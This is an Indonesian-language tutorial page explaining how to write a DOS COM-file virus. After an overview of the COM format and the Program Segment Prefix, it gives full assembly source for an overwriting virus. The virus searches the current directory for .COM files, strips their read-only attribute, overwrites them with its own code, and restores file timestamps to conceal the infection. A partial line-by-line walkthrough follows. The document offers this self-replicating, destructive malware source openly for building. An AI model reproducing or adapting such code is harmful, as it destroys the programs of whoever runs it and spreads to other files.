Make your own free website on Tripod.com

Membuat Virus Program COM           

Penulis : [-S'to-]          

Anda tentunya sudah biasa menulis program dengan bahasa assembly, yang menghasilkan program dengan ektension com. Pada bagian ini, Penulis tidak akan menjelaskan bagaimana Kita menulis atau membuat program dengan ekstension com, tetapi pada bagian ini akan Kita lihat secara teknis, bagaimana program dengan ekstension com itu bekerja. Untuk mempelajari bahasa assembly, anda bisa membaca buku "Belajar Sendiri Pemrograman Bahasa Assembly" keluaran dari gramedia, karena penulis yang sama maka semua programming disini menggunakan gaya yang tetap sama.

 

               Sebelum penulis menjelaskan jalannya program dengan ektension com bekerja, supaya lebih mudah dimengerti maka akan diberikan satu contoh format dasar penulisan program dengan ektension com :

 

 

 

                            .Model Small

                              .Code

                              Org 100h

               Label  :  Jmp Label2

                             Dataku Db ”Tempat Data Program Com”

               Label2:

                              Mov       AH,09h

                              Lea         DX,Dataku

                              Int           21h

                              Int 20h

 

               End         Label1

 

               Jika Anda perhatikan maka dapat Anda lihat bahwa pada program com yang normal, selalu terdapat perintah .Org 100h yang merupakan perintah agar pada saat program ini dijalankan oleh system operasi disediakan 100h (256) byte kosong. Atau dengan kata lain program com yang Kita buat akan dijalankan pada offset ke 100h atau 256. Mungkin Anda bertanya, untuk apa Kita menyediakan  100h byte kosong ini ? Ke 100h byte kosong ini Kita disiapkan untuk ditempati oleh PSP (Program Segment Prefix) yang dibuat oleh system operasi untuk mengatur jalannya program Kita ini.

 

Program Segment Prefix (PSP)

               Program Segment Prefix atau yang sering disingkat menjadi PSP, merupakan peninggalan dari era CP/M. PSP yang terdiri atas 100h atau 256 byte ini digunakan untuk menyimpan berbagai informasi yang penting untuk program yang sedang dijalankan.  Berikut adalah strukture dari ke 100h byte PSP dari program :

 

Offset    Sebanyak              Untuk

 

00h         2   Byte                 Alamat pemanggilan interupsi 20h

02h         1   Word               Alamat segment dari memory yang disediakan untuk program

04h         1   Byte                 Cadangan

05h         5   Byte                 Alamat pemanggilan interupsi 21h

0Ah        2   Word               Vektor Interupsi 23h

0Eh        2   Word               Vektor Interupsi 23h

12h         2   Word               Vektor Interupsi 24h

16h         22 Byte                 Cadangan

2Ch        1   Word               Alamat segment environment

2Eh        46 Byte                 Cadangan

5Ch        16 Byte                 FCB1

6Ch        16 Byte                 FCB2

80h         1   Byte                 Banyaknya karakter dari baris perintah

81h         127 Byte              Command Line

 

 

Pembuatan  Virus 001

               Virus yang pertama ini adalah virus yang akan menyerang semua program dengan ektensi .COM dimana cara kerjanya adalah mencari semua program yang ada didirektory aktif semua program dengan ektensi .COM dan menularkan virus kepadanya. Program yang telah ditulari virus tidak akan bisa berjalan secara normal karena program yang asli telah ditimpa oleh program virus. Virus ini adalah virus yang tidak residen.

 

 

               Dari Gambar 1.1. Dapat Anda lihat bahwa virus overwrite akan menimpa dirinya keawal program yang dutulari virus. Virus ini akan merusakkan program yang ditulari. Program yang telah ditulari akan dijaga ukuran aslinya, sehingga kehadiran virus tidak mudah untuk diketahui.

 

;  Catatan :

;  Virus Overwrite yang akan merusak program yang ditumpangi. Penyebaran hanya pada direktory

;  aktif saja. Program ini tidak residen dan merupakan virus yang paling sederhana.

                              .Model   Small

                              .Code

                              Org         100h

V_Length             equ         last-start

Start                      label       near                       ; Awal Dari Virus

                              mov        ah,4Eh                   ; Cari File Com Pertama

                              mov        dx,offset filename; ds:dx - > Asciiz"*.com"

                              Int           21h

Back :

                             mov        ah,43h                   ; Untuk mendapatkan Atribut File

                             mov        al ,0                       ; ...... idem atas .......

                             mov        dx,9Eh                  ; Awal File Com yang ditemukan

                             int           21h                        ;

                             mov        ah,43h                   ; Ubah Atribut File Yang Ditemukan

                             mov        al,01                     ; ...... idem Atas .......

                             and         cx,11111110b     ; Matikan Read Only

                             int           21h                        ;

 

                              mov        ax,3D01h              ; Buka file untuk write only

                              mov        dx,9Eh                  ; Nama File Di DTA       

                              int           21h                        ;

 

 

                              mov        bx,ax                     ; Bx = File Handle        

                              mov        ah,57h                   ; Dapatkan Tanggal File

                              mov        al,0                        ; .... Idem Diatas .....

                              int           21h                        ;

 

                              push       cx                          ; Simpan Jam        

                              push       dx                          ; Simpan Tanggal 

 

 

                              mov        dx,100h                ; Data Awal Virus 

                              mov        cx,v_length           ; Panjang Virus     

                              mov        ah,40h                   ; Tulis Virus Ke File

                              int           21h                        ;

 

                              pop         dx                          ; Ambil Data tanggal

                              pop         cx                          ; Ambil Data Jam

                              mov        ah,57h                   ; Set jam dan

                              mov        al,01h                    ; Tanggal File

                              int           21h                        ;

 

                              mov        ah,3Eh                   ; Tutup File Tersebut 

                              int           21h                        ; ...........

 

                              mov        ah,4Fh                   ; Cari File Selanjutnya

                              int           21h                        ;

 

                              jnc          Back                      ; Jika Ditemukan, Lompat

                              mov        ah,9h                     ; Tulis Pesan

                              mov        dx,offset Data      ; Data Ke Layar

                              int           21h                        ;

 

Done:                    int           20h                        ; Terminate Program

Filename              db           "*.com",0

Data                      db           " File Pada Direktory ini Telah Terserang Virus Semuanya$"

Last                       label       near

end                        start

 

 

Cara Kerja Virus :

 

 

                             .Model   Small

                              .Code

                              Org         100h

V_Length             equ         last-start

Start                      label       near                       ; Awal Dari Virus

 

               Pada awal program, variable V_Length akan menghitung panjang, atau besarnya program virus  komputer ini. Dengan mengetahui besarnya program virus yang dibuat, maka Kita bisa mengcopy program virus ini kedalam program yang lain. 

 

  mov        ah,4Eh                   ; Cari File Com Pertama

  mov        dx,offset filename; ds:dx - > Asciiz"*.com"

  Int           21h

 

               Pertama-tama, carilah program target yang akan ditulari dengan fungsi dos, dimana register dx menunjukkan file yang akan dicari. pencarian ini hanya akan mencari program “*.com” yang ada didirektory aktif saja, artinya program “*.com” yang terdapat pada direktory lain tidak akan tertular.(diambil dari situs www.jasakom.com)

kembali ke halaman muka